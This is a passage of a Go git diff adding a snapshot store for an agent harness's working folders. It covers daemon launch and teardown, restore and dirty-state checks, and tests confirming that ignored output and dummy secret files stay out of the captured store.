bytes.Contains(stat, []byte(") Z ")) { + continue // a zombie is already dead, only unreaped + } + if pid, err := parsePID(entry.Name()); err == nil && pid != os.Getpid() { + pids = append(pids, pid) + } + } + return pids +} + +func parsePID(name string) (int, error) { + pid := 0 + for _, r := range name { + if r < '0' || r > '9' { + return 0, os.ErrInvalid + } + pid = pid*10 + int(r-'0') + } + return pid, nil +} + +// awaitRunning waits until pid has become the program, so that its descriptors +// are the ones the program was started with. +func awaitRunning(t *testing.T, pid int, dir string) { + t.Helper() + for deadline := time.Now().Add(5 * time.Second); time.Now().Before(deadline); time.Sleep(10 * time.Millisecond) { + raw, _ := os.ReadFile(filepath.Join("/proc", strconv.Itoa(pid), "cmdline")) + if bytes.Contains(raw, []byte(dir)) { + time.Sleep(50 * time.Millisecond) + return + } + } + t.Fatal("the daemon never started") +} + +func TestStopSpawnedLeavesNoDaemonBehind(t *testing.T) { + if _, err := os.Stat("/proc/self/cmdline"); err != nil { + t.Skip("no /proc to scan") + } + dir := t.TempDir() + // A descriptor handed down without close-on-exec, as a wrapper's lock is. + lock, err := os.Open(os.DevNull) + if err != nil { + t.Fatal(err) + } + defer lock.Close() + if _, _, errno := syscall.Syscall(syscall.SYS_FCNTL, lock.Fd(), syscall.F_SETFD, 0); errno != 0 { + t.Fatal(errno) + } + program := idlingEngine(t, dir) + if _, err := launch(Daemon{Binary: program, Socket: filepath.Join(dir, "v3", "e.sock")}); err != nil { + t.Fatal(err) + } + spawnedMu.Lock() + pid := spawned[len(spawned)-1].process.Pid + spawnedMu.Unlock() + awaitRunning(t, pid, dir) + held, _ := os.ReadDir(filepath.Join("/proc", strconv.Itoa(pid), "fd")) + for _, entry := range held { + target, _ := os.Readlink(filepath.Join("/proc", strconv.Itoa(pid), "fd", entry.Name())) + if target == program { // the shell holds its own script open + continue + } + if entry.Name() != "0" && entry.Name() != "1" && entry.Name() != "2" { + t.Errorf("the daemon inherited descriptor %s; only stdin, stdout and stderr may pass", entry.Name()) + } + } + if len(aliveUnder(dir)) == 0 { + t.Fatal("the daemon is not running before the teardown, so the test proves nothing") + } + StopSpawned() + if left := aliveUnder(dir); len(left) != 0 { + t.Fatalf("daemons %v outlived StopSpawned", left) + } +} diff --git a/internal/cellstore/daemonstart.go b/internal/cellstore/daemonstart.go new file mode 100644 index 0000000000..6b084c3f2e --- /dev/null +++ b/internal/cellstore/daemonstart.go @@ -0,0 +1,117 @@ +package cellstore + +import ( + "context" + "fmt" + "net" + "os" + "os/exec" + "path/filepath" + "sync" + "testing" + "time" +) + +// idleMinutes is how long the daemon outlives its last client. The next verb +// after it exits starts it again, so the value costs latency, never correctness. +const idleMinutes = "10" + +// testIdleMinutes is how long a daemon started by a test binary outlives its +// last client. A test that crashes before its teardown runs leaves the daemon +// behind, and a short idle exit is what lets that leak heal itself. +const testIdleMinutes = "1" + +// idleFlag is the --idle-minutes value the daemon is started with. +func idleFlag() string { + if testing.Testing() { + return testIdleMinutes + } + return idleMinutes +} + +// retryAfter is how long a daemon that failed to start is left alone: every +// verb in that window goes straight to the fallback. +const retryAfter = 30 * time.Second + +var ( + startMu sync.Mutex + failed = map[string]failure{} // socket -> last failed start +) + +type failure struct { + at time.Time + err error +} + +// startAndDial starts the daemon behind d.Socket and dials it, one start at a +// time per process. A start that finds the daemon already there (another +// process won the race for the socket) is a success: the daemon exits quietly +// when it loses. +func startAndDial(ctx context.Context, d Daemon) (net.Conn, error) { + startMu.Lock() + defer startMu.Unlock() + if conn, err := dial(ctx, d.Socket); err == nil { + return conn, nil // an earlier caller started it while this one waited + } + if f, ok := failed[d.Socket]; ok && time.Since(f.at) < retryAfter { + return nil, f.err + } + conn, err := launchAndDial(ctx, d) + if err != nil { + failed[d.Socket] = failure{at: time.Now(), err: err} + } + return conn, err +} + +func launchAndDial(ctx context.Context, d Daemon) (net.Conn, error) { + exited, err := launch(d) + if err != nil { + return nil, err + } + return awaitDial(ctx, d.Socket, exited) +} + +// launch starts the daemon and answers a channel that closes when it exits. +func launch(d Daemon) (<-chan struct{}, error) { + bin, err := Spawn{Binary: d.Binary}.program() + if err != nil { + return nil, err + } + if err := os.MkdirAll(filepath.Dir(d.Socket), 0o700); err != nil { + return nil, err + } + sealInheritedDescriptors() + cmd := exec.Command(bin, "serve", "--socket", d.Socket, "--idle-minutes", idleFlag()) //codeaf:plumbing starts the engine's long-lived daemon + configureDaemonCommand(cmd) + if err := cmd.Start(); err != nil { + return nil, fmt.Errorf("start engine daemon: %w", err) + } + exited := make(chan struct{}) + remember(cmd.Process, exited) + go func() { // reap it; it outlives this call by design + _ = cmd.Wait() + close(exited) + }() + return exited, nil +} + +// startWait is how long a freshly started daemon has to begin listening. +const startWait = 5 * time.Second + +// awaitDial dials until the freshly started daemon listens. A daemon that +// exits first gets one last dial: it exits quietly when another daemon already +// holds the socket, and that one is listening. +func awaitDial(ctx context.Context, socket string, exited <-chan struct{}) (net.Conn, error) { + deadline := time.Now().Add(startWait) + for { + conn, err := dial(ctx, socket) + if err == nil || time.Now().After(deadline) || ctx.Err() != nil { + return conn, err + } + select { + case <-exited: + return dial(ctx, socket) + case <-time.After(10 * time.Millisecond): + } + } +} diff --git a/internal/cellstore/defaulton_test.go b/internal/cellstore/defaulton_test.go new file mode 100644 index 0000000000..8429e77e24 --- /dev/null +++ b/internal/cellstore/defaulton_test.go @@ -0,0 +1,433 @@ +package cellstore + +import ( + "context" + "fmt" + "github.com/Agent-Field/codeaf/internal/executor" + "github.com/Agent-Field/codeaf/internal/inventory" + "github.com/Agent-Field/codeaf/internal/keys" + "os" + "os/exec" + "path/filepath" + "slices" + "strings" + "testing" +) + +// TestD1SharedObjectsKeepIndependentHeads proves D1 through both real engine +// transports: chats sharing a folder must never adopt one another's head. +func TestD1SharedObjectsKeepIndependentHeads(t *testing.T) { + forEachTransport(t, func(t *testing.T) { + r := newRig(t) + e := realEngine(t) + e.Workspace = r.tree + e.Guard = r.guard + r.write("work.txt", "first chat\n") + a, err := e.Seal(t.Context(), r.cell, TurnInfo{}) + if err != nil { + t.Fatal(err) + } + second := newCell(t) + r.write("work.txt", "second chat\n") + b, err := e.Seal(t.Context(), second, TurnInfo{}) + if err != nil { + t.Fatal(err) + } + if e.StoreDir(r.cell) != e.StoreDir(second) || e.LocalDir(r.cell) == e.LocalDir(second) { + t.Fatal("stores are not shared or private state collided") + } + if e.target(r.cell).Timeline != r.cell.ID || e.target(second).Timeline != second.ID { + t.Fatal("missing timeline routing") + } + if dirty, err := e.Dirty(t.Context(), r.cell); err != nil || !dirty { + t.Fatalf("first chat adopted another timeline head: dirty=%v %v", dirty, err) + } + if dirty, err := e.Dirty(t.Context(), second); err != nil || dirty { + t.Fatalf("second chat lost its own head: dirty=%v %v", dirty, err) + } + if err := e.Restore(t.Context(), r.cell, a.Turn.ID, nil); err != nil { + t.Fatal(err) + } + if raw, _ := os.ReadFile(filepath.Join(r.tree, "work.txt")); string(raw) != "first chat\n" { + t.Fatalf("first chat restored %q", raw) + } + if err := e.Restore(t.Context(), second, b.Turn.ID, nil); err != nil { + t.Fatal(err) + } + if raw, _ := os.ReadFile(filepath.Join(r.tree, "work.txt")); string(raw) != "second chat\n" { + t.Fatalf("second chat restored %q", raw) + } + }) +} + +// TestD1OldStoresStayInPlace proves D1 without migration: a store made with the +// old path identity remains readable and receives every subsequent seal. +func TestD1OldStoresStayInPlace(t *testing.T) { + forEachTransport(t, func(t *testing.T) { + c := newCell(t) + e := realEngine(t) + if err := os.WriteFile(filepath.Join(c.Root, "old.txt"), []byte("old capture"), 0600); err != nil { + t.Fatal(err) + } + out, err := e.transport().Do(t.Context(), Target{Tree: c.Root, DataDir: e.LocalDir(c)}, sealOp{Turn: "old"}) + if err != nil { + t.Fatal(err) + } + old, err := parseSnapshot(out) + if err != nil { + t.Fatal(err) + } + target := e.target(c) + if target.DataDir != e.LocalDir(c) || target.Timeline != "" { + t.Fatalf("old store moved: %+v", target) + } + if _, err := e.Seal(t.Context(), c, TurnInfo{}); err != nil { + t.Fatal(err) + } + if err := e.Restore(t.Context(), c, old, nil); err != nil { + t.Fatal(err) + } + if raw, _ := os.ReadFile(filepath.Join(c.Root, "old.txt")); string(raw) != "old capture" { + t.Fatalf("old snapshot lost: %q", raw) + } + }) +} + +func fixtureGit(t *testing.T, tree string, args ...string) { + t.Helper() + cmd := exec.Command("git", args...) //codeaf:plumbing Git prepares a local test fixture only. + cmd.Dir = tree + if out, err := cmd.CombinedOutput(); err != nil { + t.Fatalf("git %v: %s: %v", args, out, err) + } +} + +// TestD2IgnoredOutputStaysAndIgnoredSecretsAreScreened proves D2 and D4/C9: +// ignored directories never enter a screen or capture, tracked exceptions move, +// and ignored secret files in ordinary directories still reach the vault path. +func TestD2IgnoredOutputStaysAndIgnoredSecretsAreScreened(t *testing.T) { + forEachTransport(t, func(t *testing.T) { + r := newRig(t) + e := realEngine(t) + e.Workspace = r.tree + e.Guard = r.guard + fixtureGit(t, r.tree, "init", "-q") + r.write("dist/tracked.txt", "tracked exception\n") + fixtureGit(t, r.tree, "add", "dist/tracked.txt") + r.write(".gitignore", "dist/\nnode_modules/\n.env\nconfig/.env.local\n*.pem\n*.log\n") + r.write("dist/output.txt", "D2_OUTPUT_STAYS_HOME\n") + r.write("node_modules/.env", "D2_NOT_SCREENED=inside-ignored-directory\n") + r.write(".env", "D2_ROOT=local-secret\n") + r.write("config/.env.local", "D2_CONFIG=local-secret\n") + r.write("key.pem", "-----BEGIN PRIVATE KEY-----\nD2_PRIVATE_MARKER\n") + r.write("build.log", "D2_LOG_STAYS_HOME\n") + sealed, err := e.Seal(t.Context(), r.cell, TurnInfo{}) + if err != nil { + t.Fatal(err) + } + raw, _ := os.ReadFile(filepath.Join(e.policyDir(r.cell), policyName)) + if !strings.Contains(string(raw), "gitignore\n") { + t.Fatal("no composed gitignore directive") + } + _, held, err := e.Withheld(r.cell) + if err != nil { + t.Fatal(err) + } + for _, path := range []string{".env", "config/.env.local", "key.pem"} { + if !slices.Contains(held, path) { + t.Errorf("secret %s not screened: %v", path, held) + } + } + if slices.Contains(held, "node_modules/.env") { + t.Fatal("screen entered a wholly ignored directory") + } + for _, marker := range []string{"D2_OUTPUT_STAYS_HOME", "D2_NOT_SCREENED", "D2_LOG_STAYS_HOME", "D2_PRIVATE_MARKER"} { + if len(grepStore(t, e.StoreDir(r.cell), marker)) > 0 { + t.Errorf("ignored or secret data reached engine: %s", marker) + } + } + inv, err := inventory.Open(r.cell.Root) + if err != nil { + t.Fatal(err) + } + found := map[string]bool{} + for _, w := range inv.Snapshot().Withheld { + if w.Reason == reasonGitIgnored { + found[w.Path] = true + } + } + if !found["node_modules/"] || !found["build.log"] { + t.Fatalf("engine omissions absent from arrival record: %v", found) + } + target := e.target(newCell(t)) + target.Tree = t.TempDir() + target.CellDir = t.TempDir() + if _, err := e.transport().Do(context.Background(), target, materializeOp{Head: sealed.Turn.ID}); err != nil { + t.Fatal(err) + } + if raw, err := os.ReadFile(filepath.Join(target.Tree, "dist/tracked.txt")); err != nil || string(raw) != "tracked exception\n" { + t.Fatalf("tracked ignored file lost: %q %v", raw, err) + } + for _, path := range []string{"dist/output.txt", "node_modules/.env", "build.log", ".env", "key.pem"} { + if _, err := os.Stat(filepath.Join(target.Tree, path)); !os.IsNotExist(err) { + t.Errorf("unexpected arrival %s: %v", path, err) + } + } + }) +} + +// TestD4DeltaHintsKeepFullSecretScreen proves D3/D4/C9 with the production +// metadata index: an engine hint must never narrow the mandatory secret screen, +// including files changed outside a tool's declared paths and after a restore. +func TestD4DeltaHintsKeepFullSecretScreen(t *testing.T) { + forEachTransport(t, func(t *testing.T) { + r := newRig(t) + real := realEngine(t) + e := EngineFor(r.tree) + e.Binary, e.Transport, e.DataRoot = real.Binary, real.Transport, real.DataRoot + e.Guard.Home, e.Guard.Notify = r.guard.Home, r.guard.Notify + r.write("safe.txt", "D4_SAFE_CAPTURE\n") + first, err := e.Seal(t.Context(), r.cell, TurnInfo{}) + if err != nil { + t.Fatal(err) + } + for _, phase := range []string{"ordinary delta", "after restore"} { + t.Run(phase, func(t *testing.T) { + if phase == "after restore" { + if err := e.Restore(t.Context(), r.cell, first.Turn.ID, nil); err != nil { + t.Fatal(err) + } + } + r.write("config/.env.local", "D4_LOCAL=value\n") + r.write("src/config.py", "key = '"+fakeKey+"'\n") + r.write("safe.txt", phase) + if _, err := e.Seal(t.Context(), r.cell, TurnInfo{Changed: []string{"safe.txt"}}); err != nil { + t.Fatal(err) + } + _, held, err := e.Withheld(r.cell) + if err != nil { + t.Fatal(err) + } + for _, name := range []string{"config/.env.local", "src/config.py"} { + if !slices.Contains(held, name) { + t.Errorf("secret missing from full screen: %s", name) + } + } + if len(grepStore(t, e.StoreDir(r.cell), fakeKey)) != 0 { + t.Fatal("secret entered indexed engine capture") + } + }) + } + }) +} + +// TestD4GCKeepsIgnoreRulesAndIgnoredOutput proves D2/D4/C25: collection may +// remove captured files, but must retain ignore rules until restoration can +// make its safety capture without importing the output left on this computer. +func TestD4GCKeepsIgnoreRulesAndIgnoredOutput(t *testing.T) { + forEachTransport(t, func(t *testing.T) { + r := newRig(t) + e := realEngine(t) + e.Workspace = r.tree + e.Guard = r.guard + fixtureGit(t, r.tree, "init", "-q") + r.write(".gitignore", "dist/\n") + r.write("dist/out.bin", "D4_IGNORED_OUTPUT_STAYS_HOME") + r.write("kept.txt", "captured work") + snap, paths, err := e.CaptureForGC(t.Context(), r.cell) + if err != nil { + t.Fatal(err) + } + if slices.Contains(paths, ".gitignore") || slices.Contains(paths, "dist") { + t.Fatalf("collection would remove output or ignore rules: %v", paths) + } + if !slices.Contains(paths, "kept.txt") { + t.Fatalf("fixture did not collect captured work: %v", paths) + } + for _, path := range paths { + if err := os.RemoveAll(filepath.Join(r.tree, path)); err != nil { + t.Fatal(err) + } + } + if err := e.Restore(t.Context(), r.cell, snap, nil); err != nil { + t.Fatal(err) + } + if len(grepStore(t, e.StoreDir(r.cell), "D4_IGNORED_OUTPUT_STAYS_HOME")) != 0 { + t.Fatal("undo capture imported ignored output") + } + }) +} + +// TestD4DeathBeforeCaptureKeepsExternalOutput proves D4/L9 through the real +// recovery door: a completed command with no live recorder is captured with its +// receipt, while an incomplete external intent is retained and never rerun. +func TestD4DeathBeforeCaptureKeepsExternalOutput(t *testing.T) { + forEachTransport(t, func(t *testing.T) { + r := newRig(t) + e := realEngine(t) + e.Workspace = r.tree + e.Guard = r.guard + wal, _, err := OpenWAL(e.WALPath(r.cell)) + if err != nil { + t.Fatal(err) + } + intent := Intent{V: walV, Tool: "bash", ArgsHash: "completed", Started: 10, SideEffect: "external"} + if err := wal.Begin(intent); err != nil { + t.Fatal(err) + } + done := executed(intent, executor.ExecResult{Stdout: []byte("D4_COMMAND_RAN_ONCE"), Exit: 0}, nil, 20) + if err := wal.Finish(intent, done); err != nil { + t.Fatal(err) + } + incomplete := Intent{V: walV, Tool: "bash", ArgsHash: "unfinished", Started: 30, SideEffect: "external"} + if err := wal.Begin(incomplete); err != nil { + t.Fatal(err) + } + r.write("result.txt", "D4_COMPLETED_WORK") + if _, err := e.Capture(t.Context(), r.cell); err != nil { + t.Fatal(err) + } + head, err := Head(r.cell) + if err != nil || head == nil || len(head.Receipt.Calls) != 1 { + t.Fatalf("recovered receipt: %+v %v", head, err) + } + if head.Receipt.Calls[0].Tool != "bash" || head.Receipt.Calls[0].StdoutHash != hashHex([]byte("D4_COMMAND_RAN_ONCE")) { + t.Fatalf("lost completed external output: %+v", head.Receipt) + } + if len(grepStore(t, e.StoreDir(r.cell), "D4_COMMAND_RAN_ONCE")) == 0 { + t.Fatal("completed output did not enter the capture") + } + _, recovered, err := OpenWAL(e.WALPath(r.cell)) + if err != nil || len(recovered.Completed) != 0 || len(recovered.Incomplete) != 1 { + t.Fatalf("recovery reran or lost an intent: %+v %v", recovered, err) + } + }) +} + +// TestD2IgnoredInstallFoldersKeepTheirRebuildInstructions proves D2: Git +// pruning does not erase the old lockfile setup instructions, and an ignored +// untracked lockfile cannot license a rebuild on the receiving computer. +func TestD2IgnoredInstallFoldersKeepTheirRebuildInstructions(t *testing.T) { + forEachTransport(t, func(t *testing.T) { + for _, ignoreLock := range []bool{false, true} { + t.Run(fmt.Sprint(ignoreLock), func(t *testing.T) { + r := newRig(t) + e := realEngine(t) + e.Workspace = r.tree + e.Guard = r.guard + fixtureGit(t, r.tree, "init", "-q") + rules := "node_modules/\n" + if ignoreLock { + rules += "package-lock.json\n" + } + r.write(".gitignore", rules) + r.write("package-lock.json", "{}") + r.write("node_modules/.env", "D2_IGNORED_INSTALL_SECRET=value\n") + if _, err := e.Seal(t.Context(), r.cell, TurnInfo{}); err != nil { + t.Fatal(err) + } + store, err := inventory.Open(r.cell.Root) + if err != nil { + t.Fatal(err) + } + rebuilt := false + for _, entry := range store.Snapshot().Withheld { + if entry.Path == "node_modules" && entry.Lock == "package-lock.json" { + rebuilt = true + } + } + if rebuilt == ignoreLock { + t.Fatalf("rebuild instruction = %v with ignored lock = %v: %+v", rebuilt, ignoreLock, store.Snapshot().Withheld) + } + _, held, err := e.Withheld(r.cell) + if err != nil { + t.Fatal(err) + } + if slices.Contains(held, "node_modules/.env") { + t.Fatal("rebuild discovery entered the ignored install folder") + } + }) + } + }) +} + +// TestD2UnreadableIgnoreRulesNeverFallBackToWalking proves D2: losing Git +// cannot turn an ignored directory's secrets into vault contents. A failed save +// is explicit and leaves the entire directory on this computer. +func TestD2UnreadableIgnoreRulesNeverFallBackToWalking(t *testing.T) { + r := newRig(t) + fixtureGit(t, r.tree, "init", "-q") + r.write(".gitignore", "dist/\n") + r.write("dist/.env", "D2_STAYS_INSIDE_IGNORED_DIRECTORY=value\n") + t.Setenv("PATH", t.TempDir()) + err := r.guard.Screen(r.cell, r.tree, r.state(), nil) + if err == nil || !strings.Contains(err.Error(), ignoredReadFailure) { + t.Fatalf("unreadable ignore rules did not stop saving: %v", err) + } + if len(r.notice) != 0 || keys.Exists(r.guard.Home) { + t.Fatal("failed ignore lookup screened or vaulted an ignored file") + } +} + +// TestD4AtomicReplacementKeepsItsBytesAndItsSecretScreen proves D3/D4/C9: +// replacing a file with the same size and timestamp still changes its identity. +// A clean replacement must be captured, and a secret replacement must be read +// by the guard rather than borrowed from its old clean-file cache. +func TestD4AtomicReplacementKeepsItsBytesAndItsSecretScreen(t *testing.T) { + forEachTransport(t, func(t *testing.T) { + for _, secret := range []bool{false, true} { + t.Run(fmt.Sprint(secret), func(t *testing.T) { + r := newRig(t) + real := realEngine(t) + e := EngineFor(r.tree) + e.Binary, e.Transport, e.DataRoot = real.Binary, real.Transport, real.DataRoot + e.Guard.Home, e.Guard.Notify = r.guard.Home, r.guard.Notify + old, next := "before", "after!" + if secret { + old = strings.Repeat("a", len(fakeKey)) + next = fakeKey + } + r.write("source.txt", old) + if _, err := e.Seal(t.Context(), r.cell, TurnInfo{}); err != nil { + t.Fatal(err) + } + path := filepath.Join(r.tree, "source.txt") + info, err := os.Stat(path) + if err != nil { + t.Fatal(err) + } + replacement := filepath.Join(r.tree, "replacement") + if err := os.WriteFile(replacement, []byte(next), info.Mode()); err != nil { + t.Fatal(err) + } + if err := os.Chtimes(replacement, info.ModTime(), info.ModTime()); err != nil { + t.Fatal(err) + } + if err := os.Rename(replacement, path); err != nil { + t.Fatal(err) + } + sealed, err := e.Seal(t.Context(), r.cell, TurnInfo{Changed: []string{}}) + if err != nil { + t.Fatal(err) + } + if secret { + _, held, err := e.Withheld(r.cell) + if err != nil || !slices.Contains(held, "source.txt") { + t.Fatalf("replacement secret was not screened: %v %v", held, err) + } + if len(grepStore(t, e.StoreDir(r.cell), fakeKey)) != 0 { + t.Fatal("replacement secret entered the store") + } + } else { + r.write("source.txt", "changed after capture") + if err := e.Restore(t.Context(), r.cell, sealed.Turn.ID, nil); err != nil { + t.Fatal(err) + } + if raw, _ := os.ReadFile(path); string(raw) != next { + t.Fatalf("atomic replacement lost: %q", raw) + } + } + }) + } + }) +} diff --git a/internal/cellstore/dirty.go b/internal/cellstore/dirty.go new file mode 100644 index 0000000000..2e9575a758 --- /dev/null +++ b/internal/cellstore/dirty.go @@ -0,0 +1,107 @@ +package cellstore + +import ( + "context" + "encoding/json" + "fmt" + "os" + "path" + "path/filepath" + "strings" + + "github.com/Agent-Field/codeaf/internal/cell" +) + +// planOp asks what restoring a snapshot would change, and changes nothing. +type planOp struct { + Snapshot string `json:"snapshot"` +} + +func (planOp) Verb() string { return "plan" } + +func (o planOp) Args() []string { return []string{"--json", "rewind", o.Snapshot, "--dry-run"} } + +// Dirty says whether the cell's tree holds work its newest sealed state does +// not: the engine's own plan for restoring its workspace head lists exactly the +// paths that differ. The head is the engine's word for it, not the turn log's: +// a tree that arrived from another machine holds the head that was imported, +// whose own turn line is not in the log it carried. The harness's own .cell/ +// entry is not work, so it never counts. +// +// The daemon does not serve the plan, so this asks a spawned engine, which is +// always correct and runs once per takeover. +func (e Engine) Dirty(ctx context.Context, c cell.Cell) (bool, error) { + _, recovery, err := OpenWAL(e.WALPath(c)) + if err != nil { + return false, err + } + // External output can be the only effect of a finished call. Take-back + // must branch it even when no workspace file or transcript changed (D4/L9). + if len(recovery.Completed) > 0 { + return true, nil + } + if err := e.screenCapture(ctx, c); err != nil { + return false, err + } + // The plan deliberately ignores harness bookkeeping under .cell, but a + // reply already written to its journal is work even before the next seal. + head, err := Head(c) + if err != nil { + return false, err + } + if head != nil && sizeOf(rel(c, cell.TranscriptPath)) != head.Receipt.Transcript.End { + return true, nil + } + target := e.target(c) + out, err := Spawn{Binary: e.Binary}.Do(ctx, target, planOp{Snapshot: "head"}) + if err != nil { + return false, fmt.Errorf("dirty: %w", err) + } + return workChanged(out) +} + +// workChanged reads a plan and says whether any change is outside .cell/. +func workChanged(plan []byte) (bool, error) { + var doc struct { + Changes []struct { + Path string `json:"path"` + } `json:"changes"` + } + if err := json.Unmarshal(plan, &doc); err != nil { + return false, fmt.Errorf("dirty: unreadable plan: %w", err) + } + for _, ch := range doc.Changes { + if top, _, _ := strings.Cut(path.Clean(ch.Path), "/"); top != cell.StateDir { + return true, nil + } + } + return false, nil +} + +// rebindOp tells the engine that the tree it restored at From now stands at the +// path the verb is run in. +type rebindOp struct { + From string `json:"from"` +} + +func (rebindOp) Verb() string { return "rebind" } + +func (o rebindOp) Args() []string { return []string{"--json", "rebind", "--from", o.From} } + +// Follow registers the tree of to as the tree of from, which was restored and +// then moved into place. The engine knows a workspace by its path, so without +// this the moved folder is one it has never heard of: it cannot say what the +// folder holds that its newest sealed state does not, until something seals it. +// The daemon does not serve the verb, so this asks a spawned engine, once per +// takeover. +func (e Engine) Follow(ctx context.Context, from, to cell.Cell) error { + target := e.target(to) + target.CellDir = "" + if _, err := (Spawn{Binary: e.Binary}).Do(ctx, target, rebindOp{From: e.tree(from)}); err != nil { + return fmt.Errorf("follow: %w", err) + } + if err := os.MkdirAll(e.LocalDir(to), 0700); err != nil { + return err + } + return os.WriteFile(filepath.Join(e.LocalDir(to), "engine-tree"), []byte(target.Tree), 0600) +} diff --git a/internal/cellstore/doc.go b/internal/cellstore/doc.go new file mode 100644 index 0000000000..d57715747a --- /dev/null +++ b/internal/cellstore/doc.go @@ -0,0 +1,55 @@ +// Package cellstore seals a cell: at every tool-call boundary it turns what the +// call did into a Receipt, snapshots the cell's folder through the embedded +// engine, and records the result as a Turn. The persisted shapes are in +// types.go; turn.go owns their construction and engine.go owns the snapshot. +// +// The seam is [Store]; [Engine] implements it. Engine composes the harness's +// files and hands the engine's verbs to a [Transport]: [Spawn] runs the engine +// once per verb, [Daemon] asks its long-lived process over a unix socket (the +// repository stays open, so a seal pays no store open), and [Fallback] uses the +// daemon and falls back to the spawn only when the daemon is absent +// (transportFor is the one place that chooses). Nothing above the interface +// knows which one answered. +// +// THE PIECES, EACH ONE JOB: +// +// - Turn and Receipt (types.go) are the persisted objects. Turn has exactly +// one constructor, newTurn (turn.go), and this package is the only one that +// calls it: law L2, enforced by law_test.go. +// - The WAL (wal.go) is the device-local call-intent log. An intent is +// written before a call, a completion after it. On reopen an intent with no +// completion is INCOMPLETE and is only ever surfaced, never re-run (L9). +// - Recorder (recorder.go) is the one hook: an executor.Executor decorator +// that logs intent, runs the call, logs completion, and seals. It exists +// when cells are enabled ([Wrap]); otherwise the executor is returned +// untouched, so callers do not need to know the channel default. +// - Engine (engine.go) is the Store over the engine, one data directory per +// cell so writers never share a catalog lock. A seal is one turn-end verb +// (`hook turn-end --turn ` on the command line), which attaches +// a folder the engine has not seen and snapshots it with the agent-run +// trigger. The folder need not be a git repository, and none is ever +// created in it. +// - Transport (transport.go, daemon.go, ops.go) is how a verb reaches the +// engine; an Op is one verb in both its spellings. +// +// DEATH CREATES A BRANCH (L12). Every seal appends a Turn to .cell/turns.jsonl +// naming its parent, and engine snapshots are immutable, so a chain that a dead +// device sealed and never uploaded is still a chain with a known parent: stage 1 +// re-parents it as a child cell. Nothing here overwrites a turn. +// +// FAST PATH. The engine keeps a stat cache per store, so a file whose stat has +// not changed costs one statx and is neither opened nor read. A caller that +// knows what changed says so in [TurnInfo].Changed, and the engine then visits +// only those paths; without it the engine walks the folder through the cache. +// bench_test.go measures both on 10,000 files with one changed. +// +// DEFERRED (L10 layout). .cell/ still lives inside the folder tools run in, +// and the engine snapshots that folder as it stands. The seal therefore writes +// every harness-owned file under .cell/ (meta.json, receipts, blobs) itself, +// immediately before snapshotting, so what is sealed is what the harness +// wrote; the transcript is the session engine's file and is sealed as found. +// The engine can now do its half: `--cell-dir ` seals a directory outside +// the folder as the tree's .cell/ entry, and `rewind --cell-dir ` puts it +// back there. What is left is moving the cell's state directory out of the exec +// root and passing it, which belongs to the cell layout. +package cellstore diff --git a/internal/cellstore/e3_test.go b/internal/cellstore/e3_test.go new file mode 100644 index 0000000000..257215a510 --- /dev/null +++ b/internal/cellstore/e3_test.go @@ -0,0 +1,62 @@ +//go:build !windows + +package cellstore + +import ( + "context" + "encoding/json" + "github.com/Agent-Field/codeaf/internal/cell" + "path/filepath" + "testing" +) + +// TestE3ChatsShareOneLongLivedDaemon proves E3/D1: distinct chats keep their +// own open handles in one process rather than starting a daemon for each seal. +func TestE3ChatsShareOneLongLivedDaemon(t *testing.T) { + e := realEngine(t) + d := daemonFor(t, e.Binary).(Daemon) + e.Transport = d + var firstPID int + for _, c := range []cell.Cell{newCell(t), newCell(t)} { + for range 2 { + if _, err := e.Seal(t.Context(), c, TurnInfo{}); err != nil { + t.Fatal(err) + } + conn, err := dial(t.Context(), d.Socket) + if err != nil { + t.Fatal(err) + } + answer, err := exchange(conn, wireRequest{V: wireVersion, ID: nextID.Add(1), Verb: "health"}) + _ = conn.Close() + if err != nil { + t.Fatal(err) + } + var health struct{ PID, Stores int } + if err = json.Unmarshal(answer.Ok, &health); err != nil { + t.Fatal(err) + } + if firstPID == 0 { + firstPID = health.PID + } + if health.PID == 0 || health.PID != firstPID { + t.Fatalf("daemon restarted: %+v first=%d", health, firstPID) + } + } + } + conn, err := dial(context.Background(), d.Socket) + if err != nil { + t.Fatal(err) + } + defer conn.Close() + answer, err := exchange(conn, wireRequest{V: wireVersion, ID: nextID.Add(1), Verb: "health"}) + if err != nil { + t.Fatal(err) + } + var health struct{ Stores int } + if err = json.Unmarshal(answer.Ok, &health); err != nil { + t.Fatal(err) + } + if health.Stores != 2 { + t.Fatalf("retained handles=%d, want two timelines sharing %s", health.Stores, filepath.Base(e.Root())) + } +} diff --git a/internal/cellstore/engine.go b/internal/cellstore/engine.go new file mode 100644 index 0000000000..477438a468 --- /dev/null +++ b/internal/cellstore/engine.go @@ -0,0 +1,309 @@ +package cellstore + +import ( + "bytes" + "context" + "encoding/json" + "fmt" + "os" + "path/filepath" + "time" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/home" +) + +// dataDirEnv names where the engine keeps its store and catalog. One directory +// per home shares content-addressed objects between chats. +const dataDirEnv = "FURROW_DATA_DIR" + +// maxChangedArgs bounds the changed-path list passed on the command line. A +// longer list is not sent: the engine then walks the tree, which its stat cache +// keeps cheap, and that is always correct. +const maxChangedArgs = 512 + +// Runner runs one program and returns its stdout. Engine spawns through it so +// tests can count and fake spawns. +type Runner func(ctx context.Context, dir string, env []string, argv ...string) ([]byte, error) + +// Engine is the stage 0 Store: one engine spawn per seal. +type Engine struct { + // Binary is the engine program; empty means the configured or embedded + // engine, checked to be able to seal (see sealingEngine). + Binary string + // DataRoot holds the shared engine store and private cell directories; empty means the state root. + DataRoot string + // Workspace, when set, is the tree the engine seals: the folder the tools + // work in, which is not the cell's own. The cell's .cell/ directory is then + // composed in as the tree's .cell/ entry and nothing is written into the + // workspace. Empty seals the cell's folder itself. + Workspace string + // WorkspaceOf, when set, names the tree per cell and wins over Workspace. + // The take side needs it: one engine serves every chat a device continues, + // and each chat works in its own folder. + WorkspaceOf func(c cell.Cell) string + Identity Identity + // Compose, when set, adds files to the cell's .cell/ directory just before + // each seal captures it. Nil adds none. + Compose Composer + // Guard screens the tree for secrets before each seal (law L3); its zero + // value is the working guard. + Guard Guard + // Run runs the engine program for the spawn transport; setting it means + // every verb spawns, and the caller sees each spawn. + Run Runner + // Transport carries the engine's verbs; nil means transportFor's choice. + Transport Transport + Now func() time.Time + pipeline bool + warm bool +} + +var _ Store = Engine{} + +// Composer adds what a seal must carry that lives outside the sealed tree, such +// as the task working copies under the session folder's trees/. It writes into +// the cell's own .cell/ directory, which the engine captures with the tree. +type Composer interface { + Compose(c cell.Cell) error +} + +// Composers is several Composers run in order; the first that fails stops the +// seal, since a seal missing one of its carried parts is not the chat. +type Composers []Composer + +// Compose implements Composer. +func (cs Composers) Compose(c cell.Cell) error 